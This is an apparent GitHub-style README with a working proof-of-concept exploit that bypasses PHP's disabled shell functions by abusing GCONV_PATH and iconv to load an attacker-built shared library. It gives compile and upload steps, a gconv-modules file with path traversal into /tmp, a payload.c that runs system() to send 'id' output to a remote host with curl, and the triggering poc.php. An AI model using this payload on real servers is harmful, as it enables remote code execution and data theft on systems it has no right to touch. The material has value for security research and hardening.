Bypass shell_exec or system disabled functions by using GCONV (PHP rce to system())

Readme.md

This is based on https://hugeh0ge.github.io/2019/11/04/Getting-Arbitrary-Code-Execution-from-fopen-s-2nd-Argument/

Credits: @hugeh0ge

It uses iconv, in php, in order to execute the same payload.

Uses cases :

• You control the first parameter of iconv (in_charset), you can set an env var and you can upload arbitrary files (.so library file and the gconv-modules file) and you know their path.
• You have a php RCE but system, shell_exec, curl_exec and other functions are disabled but you can setenv (and LD_PRELOAD is blacklisted).

In this example, the files gconv-modules and payload.so are stored in /tmp.

1. Compile the payload library.

gcc payload.c -o payload.so -shared -fPIC

2. Upload / write the files gconv-modules and payload.so on the server.

3. Trigger the php code stored on the server

curl https://mysuperserver.com/poc.php

gconv-modules

module  PAYLOAD//    INTERNAL    ../../../../../../../../tmp/payload    2
module  INTERNAL    PAYLOAD//    ../../../../../../../../tmp/payload    2

payload.c

#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
  puts("pwned");
  system("id=`id`;curl http://foo.bar --data \"$id\"");
  exit(0);
}

poc.php

putenv("GCONV_PATH=/tmp");
iconv("payload", "UTF-8", "whatever");